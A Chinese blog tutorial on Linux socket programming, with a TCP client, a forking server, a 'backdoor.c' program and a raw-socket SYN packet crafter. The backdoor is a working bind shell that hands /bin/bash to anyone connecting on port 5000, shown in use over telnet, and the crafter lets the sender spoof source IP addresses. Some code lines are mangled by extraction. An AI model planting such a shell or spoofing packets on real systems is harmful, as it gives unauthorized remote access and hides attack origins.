linux网络编程基础

限时加码!20+主流AI编程工具免费用 购周边加赠Coding Plan Lite,Claude Code、Cursor等即刻畅享,学习进阶更高效! 阅读详情

linux网络编程基础

首先,什么是socket?socket是计算机用于与网络上的其它计算机进行通信的一个接口,它就像是电源插线板上的插口一样,用电电器想要获得电源,就必须要有个插头连接到插线板上的插口。同样,计算机要想获得一个网络连接就得建立一个socket。

下面是一些在建立一个socket时常的函数:

socket()  ---  用来创建一个socket接口
例:sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

connect()  ---  用来连接到远程主机
例:connect(sock, (struct sockaddr*)&remote_host, sizeof(remote_host));

send()  ---  用来向远程主机发送数据
例:nsend = send(sock, data, datalen, 0);

recv()  ---  用来接收从主机发送来的数据
例:nrecv = recv(sock, buffer, sizeof(buffer), 0);

close()  ---  用来关闭一个socket
例:close(sock);

下面是一个简单的客房端例子,它连接到服务器,发送一个字符串,然后接收服务器发送回来的字符串。

 

filename: client.c

#include 
<stdio.h>
#include 
<sys/types.h>
#include 
<sys/socket.h>
#include 
<netinet/in.h>
#include 
<arpa/inet.h>
#include 
<stdlib.h>
#include 
<string.h>

int main(int argc, char *argv[])
{
    
int sock;
    
struct sockaddr_in remote;

    
if (argc < 3) {
        printf(
"usage: %s <dst-ip> <dst-port> ", argv[0]);
        exit(
-1);
    }

    sock 
= socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    
if (sock < 0) {
        printf(
"socket error. ");
        exit(
-1);
    }

    memset(
&remote, 0sizeof(remote));
    remote.sin_family 
= AF_INET;
    remote.sin_port 
= htons(atoi(argv[2]));
    inet_pton(AF_INET, argv[
1], &remote.sin_addr);
    
char addr[INET_ADDRSTRLEN];
    inet_ntop(AF_INET, 
&remote.sin_addr, addr, INET_ADDRSTRLEN);
    printf(
"%s ", addr);

    printf(
"connecting... ");
    
if (connect(sock, (struct sockaddr*)&remote, sizeof(struct sockaddr)) < 0) {
        printf(
"connect error. ");
        exit(
-1);
    }

    printf(
"send data... ");
    
char sbuf[] = "I am plusboy";
    
char rbuf[1024];
    send(sock, sbuf, 
sizeof(sbuf), 0);

    
int nrecv = recv(sock, rbuf, sizeof(rbuf), 0);
    rbuf[nrecv] = '/0';
    printf("recv from server: %s/n", rbuf);
    close(sock);
    return 0;
}

 编译:gcc -o client client.c
执行结果如下:
[bugboy@bugboy c]$ ./client 172.16.100.108 6789
172.16.100.108
connecting...
send data...
recv from server: recv: I am plusboy


上面是一个客户端的例子,为了创建一个服务端,我们需要了解更多的socket函数,下面是一些常用的函数:

bind()  ---  用来把一个socket和一个网络地址和一个端口号进行绑定
例:bind(sock, (struct sockaddr*)&local_host, sizeof(local_host));

listen()  ---  用来把一个socket置入监听状态
例:listen(sock, 5);

accept()  ---  用来接收一个远程连接请求
例:cli_sock = accept(sock, (struct sockaddr*)&cli_addr, &cli_addr_size);

下面是一个简的服务器端例子,这接收客房端的连接请求,然后启动一个子进程来处理客户端,父进程继续等待其它客户端的请求,注意服务器端用了一个dup2()进行描述符复制,它把客户端连接生成的socket复制到一标准输出,因此打印到标准输出的信息最终会发送到客户端。

 

filename: server.c

#include 
<stdio.h>
#include 
<stdlib.h>
#include 
<sys/types.h>
#include 
<sys/socket.h>
#include 
<netinet/in.h>
#include 
<unistd.h>

int main(int argc, char *argv[])
{
    
int lsock;
    
int rsock;
    
struct sockaddr_in server;
    
struct sockaddr_in client;
    
int len;

    len 
= sizeof(struct sockaddr);

    lsock 
= socket(AF_INET, SOCK_STREAM, 0);
    
if (lsock < 0) {
        printf(
"socket error. ");
        exit(
-1);
    }

    memset(
&server, 0sizeof(server));
    server.sin_family 
= AF_INET;
    server.sin_port 
= htons(6789);
    server.sin_addr.s_addr 
= INADDR_ANY;

    
if (bind(lsock, (struct sockaddr*)&server, sizeof(struct sockaddr)) < 0) {
        printf(
"bind error. ");
        exit(
-1);
    }

    
if (listen(lsock, 5< 0) {
        printf(
"listen error. ");
        exit(
-1);
    }

    
char buf[1024];
    
int nrecv;
    
char cli_addr[INET_ADDRSTRLEN];
    
    
while (1) {
        rsock 
= accept(lsock, (struct sockaddr*)&client, &len);
        printf(
"Connection from %s "
               inet_ntop(AF_INET, 
&client.sin_addr, cli_addr, INET_ADDRSTRLEN));

        
if (fork() == 0) {
            close(lsock);
            dup2(rsock, STDOUT_FILENO);
            
while (1) {
                nrecv 
= recv(rsock, buf, sizeof(buf), 0);
                buf[nrecv] = '/0';
                printf("recv: %s/n", buf);
                if (strncmp(buf, "exit", 4 ) == 0) {
                    exit(0);
                }
            }
        } else {
            close(rsock);
        }
    }
    close(rsock);
    return 0;
}

编译:gcc -o server server.c
执行结果如下:
[bugboy@bugboy c]$ ./server
Connection from 172.16.100.108

有了上面的基础,就可以偿试写一个后门程序来玩玩了,下面是一个不错的例子:

filename: backdoor.c

#include 
<stdio.h>
#include 
<sys/types.h>
#include 
<sys/socket.h>
#include 
<netinet/in.h>
#include 
<unistd.h>

int main(int argc, char *argv[])
{
    
int lsock, rsock;
    
struct sockaddr_in server;
    
struct sockaddr_in client;

    
if ((lsock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
        fprintf(stderr, 
"socket error. ");
        exit(
-1);
    }

    server.sin_family 
= AF_INET;
    server.sin_port 
= htons(5000);
    server.sin_addr.s_addr 
= INADDR_ANY;

    
if (bind(lsock, (struct sockaddr*)&server, sizeof(struct sockaddr)) < 0) {
        fprintf(stderr, 
"bind error. ");
        exit(
-1);
    }

    
if (listen(lsock, 5< 0) {
        fprintf(stderr, 
"listen error. ");
        exit(
-1);
    }

    
while (1) {
        
int size;
        size 
= sizeof(struct sockaddr);
        rsock 
= accept(lsock, (struct sockaddr*)&client, &size);
        
        
/* 把输入、输出和出错信息重定向到网络 */
        dup2(rsock, STDIN_FILENO);
        dup2(rsock, STDOUT_FILENO);
        dup2(rsock, STDERR_FILENO);
        execl(
"/bin/bash""/bin/bash", (char*)0);
        close(rsock);
    }

    
return 0;
}

在linux下用GCC编译:gcc -o backdoor backdoor.c  运行结果如下:
[plusboy@server3 ~]$./backdoor

从另一台机子(或者本机)telnet到server3去
[bugboy@bugboy ~]$ telnet 172.16.100.81 5000
Trying 172.16.100.81...
Connected to server3 (172.16.100.81).
Escape character is '^]'.
hostname;
server3
: command not found
uname -a;
Linux server3 2.6.9-5.EL #1 Wed Jan 5 19:22:18 EST 2005 i686 i686 i386 GNU/Linux
: command not found

有时你需要获得对网络底层协议更多的控制,这时你需要用到raw socket(原始套接口)。下面是常用到的函数:

sendto()  ---  用来发送数据到远程主机
例:nsend = sendto(sock, data, datalen, 0,   (struct sockaddr*)&remote_host, sizeof(remote_host);

recvfrom()  ---  用来接收从远程主机发送来的数据
例:nrecv = recvfrom(sock, buffer, sizeof(buffer), 0,  (struct sockaddr*)&remote_host, sizeof(remote_host);
           
setsockopt()  ---  用来设置socket的选项
例:setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char*)&enable, sizeof(enable));

下面是一个使用原始套接口的例子(raw_socket.c):

 

#include <stdio.h>
#include 
<stdlib.h>
#include 
<unistd.h>
#include 
<netdb.h>
#include 
<sys/types.h>
#include 
<sys/socket.h>
#include 
<netinet/in.h>
#include 
<netinet/ip.h>
#include 
<netinet/tcp.h>

int main(int argc, char *argv[])
{
    
if (argc != 7) {
        fprintf(stderr, 
"Simple Packet Crafter using raw sockets "
                
"Usage: %s <dst-ip> <dst-port> <src-ip> <src-port> <ttl> <window> ",  argv[0]);
        fprintf(stderr, 
"Example: %s 192.0.0.2 79 1.2.3.4 12345 255 512 ", argv[0]);
        exit(
-1);
    }

    
if (getuid() != 0) {
        fprintf(stderr, 
"Error: Must be ROOT to open raw sockets. ");
        exit(
-1);
    }

    
int enable = 1;
    
int sock;
    
char packet[4096];

    
struct sockaddr_in remote;
    
struct iphdr *ip = (struct iphdr*) packet;
    
struct tcphdr *tcp = (struct tcphdr*) packet + sizeof(struct tcphdr);

    
if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) {
        fprintf(stderr, 
"socket error. ");
        exit(
-1);
    }

    remote.sin_family 
= AF_INET;
    inet_pton(AF_INET, argv[
1], &remote.sin_addr.s_addr);
    remote.sin_port 
= htons(atoi(argv[2]));

    memset(packet, 
0sizeof(packet));

    
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char*)&enable, sizeof(enable)) < 0) {
        fprintf(stderr, 
"setsockopt error. ");
        exit(
-1);
    }

    
struct in_addr addr;

    ip
->ihl = 5;     // IP header length
    ip->version = 4// IP version
    ip->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);  
    ip
->id = htons(2500); // id sequence number
    inet_pton(AF_INET, argv[3], &addr); // source ip
    ip->saddr = addr.s_addr;
    inet_pton(AF_INET, argv[
1], &addr); // destination ip
    ip->daddr = addr.s_addr;
    printf(
"source ip: %d ", ip->saddr);
    printf(
"destination ip: %d ", ip->daddr);
    ip
->ttl = htons(atoi(argv[5]));  // ttl
    ip->protocol = IPPROTO_TCP;      // protocol number
    ip->check = 0;    // IP checksum
    ip->tos = 0;      // type of service
    ip->frag_off = 0// fragment offset

    tcp
->source = htons(atoi(argv[4])); // source port 
    tcp->dest = htons(atoi(argv[2]));   // destination port
    tcp->seq = htons(random());         // initial sequence number
    tcp->ack_seq = htons(0);            // acknowledgement number
    tcp->ack = 0;  // acknowledgement flag
    tcp->syn = 1;  // synchronize flag
    tcp->rst = 0;  // reset flag
    tcp->psh = 0;  // push flag
    tcp->fin = 0;  // finish flag
    tcp->urg = 0;  // urgent flag
    tcp->check = 0// tcp checksum
    tcp->doff = 5// data offset
    tcp->window = htons(atoi(argv[6]));  // window size

    printf(
" Simple Packet Crafter using raw sockets ");
    printf(
" Packet Data: ");
    printf(
" Destination IP: %s, ", argv[1]);
    printf(
" Destination Port: %s,  ", argv[2]);
    printf(
" Source IP: %s, ", argv[3]);
    printf(
" Source Port: %s, ", argv[4]);
    printf(
" TTL: %s, ", argv[5]);
    printf(
" Window Size: %s ", argv[6]);

    printf(
" Sending packet to %s... ", argv[1]);

    
if (sendto(sock, packet, ip->tot_len, 0
        (
struct sockaddr*)&remote, sizeof(struct sockaddr)) < 0) {
        fprintf(stderr, 
"Error: can't send packet! ");
        
return -1;
    }

    printf(
" Packet send to %s! Goodbye! ", argv[1]);
    
return 0;
}

这个程序需要root用户执行,因为只有root用户可以创建原始套接口。用gcc编译后,程序执行结果如下:

[root@bugboy c]# ./raw_socket 172.16.100.81 22 172.16.100.108 5000 255 512
source ip: 1818497196
destination ip: 1365512364

Simple Packet Crafter using raw sockets

Packet Data:

Destination IP: 172.16.100.81,
Destination Port: 22,

Source IP: 172.16.100.108,
Source Port: 5000,
TTL: 255,
Window Size: 512

Sending packet to 172.16.100.81...

Packet send to 172.16.100.81! Goodbye!

 

Linux基础网络编程 1)进程间通信的方式有**:管道,消息队列,共享内存,信号,信号量这么集中2)特点:依赖于linux内核,基本是通过内核来实现应用层的两个进程间的通信3)缺陷:无法多机通讯1)网络编程适用去不同的pc间的通信,可以实现多机运行地址和数据地址是指:IP地址和端口号。每台PC机连网够都有一个IP地址,那么每台联网的PC机可能跑多个服务器,然后每个服务器中对应的有很多进程。当客户端接入的时候,不知道去对接哪个服务器。那么这时端口号对应的就是每个服务器的端口。客户就可以通过端口号连接到对应的服务器了。 阅读详情

相关推荐

Linux -TCP网络编程基础

Linux -TCP网络编程基础一.套接字编程基础知识1.套接字地址结构2.用户层和内核层交互过程二.TCP网络编程流程1.TCP网络编程架构2.创建网络插口函数socket()3.绑定一个地址端口对bind()4.监听本地端口listen5.接受一个网络请求accept()6.连接目标网络服务器connect()7.写入数据函数write()8.读取数据函数read()9.关闭套接字函数close()三.服务器/客户端的简单例子1.例子功能描述2.服务器网络程序3.服务器读取和显示字符串4.客户端的网络

weixin_50866517的博客 1609

性能测试——性能测试-linux监控工具nmon的安装与使用

安装; 显示截图: 简单使用命令: 参考文档:https://blog.csdn.net/m0_61066945/article/details/126799593 简介 nmon是一个非常轻量级的工具,几乎没有性能开销,因此可以长期运行而不会对系统造成负担。它主要用于实时监测 Linux/UNIX 系统的各种资源使用情况,并且提供了一种利用命令行界面来可视化和分析...

小白龙白龙马的博客 4414

性能测试结果如何监控

针对软件测试中的性能测试结果如何分析进行的总结,如果不不知道如何监控性能测试结果,这本书会告诉你如何去监控

nmon性能监控工具介绍与部署指南

nmon性能监控工具介绍与部署指南

IT圈黎俊杰 4840

Linux性能监控命令_nmon 安装与使用

实时监控硬件性能,自动生成折线图报表

m0_61066945的博客 1万+

lr_场景设计之组场景、nmon监控

1、组场景常用于回归 ,可以设置成一个脚本后多久运行下一个脚本; Real-world Schedule和Basic schedule的区别:根据官方文档,这两种模式下,场景中的每个虚拟用户组(可看成是每个脚本)都会按照它们自己的Run-Time settings中的设置运行。区别在于可模拟的操作不一样: Schedule by:Scenario Basic Schedu...

474

一接收数据将其存入deque里

全局变量 dequeRecvDeq; dequeAppendDeq(CTCPClient_CE *pTCPClient) { char recvBuf[MAX_BUFF_SIZE]; ZeroMemory(recvBuf,sizeof(char)*MAX_BUFF_SIZE); int nRecv =0;         //Sleep(200);

犀利虫的专栏 808

Linux网络编程基础

Linux网络编程基础

weixin_57286892的博客 1309

Linux C网络编程基础

目录 Linux套接字结构定义 Linux C的网络基础操作函数 字节顺序转换函数族 IP地址转换函数族 域名转换函数 Linux网络套接字操作函数 创建套接字描述符函数 绑定套接字函数 建立连接函数 倾听套接字切换函数 接收连接函数 关闭连接函数 套接字读写函数 套接字地址获取函数 发送和接收函数 Linux套接字结构定义 Linux在头文件<sys/so...

程序人生 1万+

Linux网络编程

socket()函数用于创建一个新的套接字,并返回套接字的文件描述符。如果套接字创建失败,函数将返回-1。

cyz322649的博客 1294

linux网络编程-很全的

注:作者王晓,本人认为总结得很好,故记之,绝无侵权之意。 1. LINUX网络编程基础知识 1 1.1. TCP/IP协议概述 1 1.2. OSI参考模型及TCP/IP参考模型 1 1.3. TCP协议 3 1.4. UDP协议 5 1.5. 协议的选择 6 2. 网络相关概念 6 2.1. socket概念 7 2.2. socket类型 8 2.3. socket信息数据...

weichanghu_的博客 3万+

linux 网络编程

linux系统编程-网络编程

qq_39855356的博客 5540

关于linux网络编程的项目,linux网络编程入门

如何学LINUX网络编程?你好,我是【小许爱答题】,很高兴为你解答。Linux网络编程一般用C语言,也用C++语言,因为有些网络编程的库是C++的,所以C/C++编程基础最起码要有;另外基础知识部分就是网络原理要学,还有Linux平台的基本编程技术(socket、文件相关的系统调用)。Linux网络编程基本上是一些编程技巧和代码库的运用以及编程经验的积累,学习到一定程度了可以试着编写一些网络服务器...

weixin_39994461的博客 842

Linux】UDP 网络编程

UDP 的使用比较格式化,首先先套接字,接着进行(一般客户端不需要绑定),然后进行,最后套接字。

2401_86449430的博客 1万+

总结之linux网络编程

1.有一篇好的文章,对Linuxsocket编程的原理和要点说的很清楚: http://blog.csdn.net/chencheng126/article/details/44260799 2.一些windows网络编程的要点吧。包括大头序,小头序,网络字节序。一些常用的函数等。。 http://blog.csdn.net/chencheng126/article/detai

Thinking 1万+

Linux网络编程入门

(一)Linux网络编程--网络知识介绍Linux网络编程--网络知识介绍客户端和服务端         网络程序和普通的程序有一个最大的区别是网络程序是由两个部分组成的--客户端和服务器端. 客户端        在网络程序中,如果一个程序主动和外面的程序通信,那么我们把这个程序称为客户端程序。 比如我们使用ftp程序从另外一        个地方获取文件的时候,是我们的ftp程序主动同

小生物语 1万+

Linux 网络编程

Linux 网络编程

aoeaoao的博客 1341

Linux C++网络编程

Linux C++ 网络编程(二) 前言 在上一节中以拆分的方式学习完 Linux 、C++、网络等知识后,这节会将这三个模块糅合起来,站在项目的基础上再次去学习这三个模块。 Linux 网路编程比较经典的有 Redis、Muduo、TeamTalk等开源项目。本文将以 Muduo 来介绍 网络编程的框架,学习完 Muduo 再去学习其他框架就容易许多了。注意, 文中贴的代码均为核心代码,且注释详细,认真阅读。 Linux C++ 网络编程 (一) Linux C++ 开发环境搭建 下载路径 githu

weixin_42496943的博客 865
上一篇: 让你薪酬迅速翻倍的13条跳槽原则(zz)
下一篇: unix文件管理命令
plusboy
博客等级 码龄20年 48粉丝 26原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值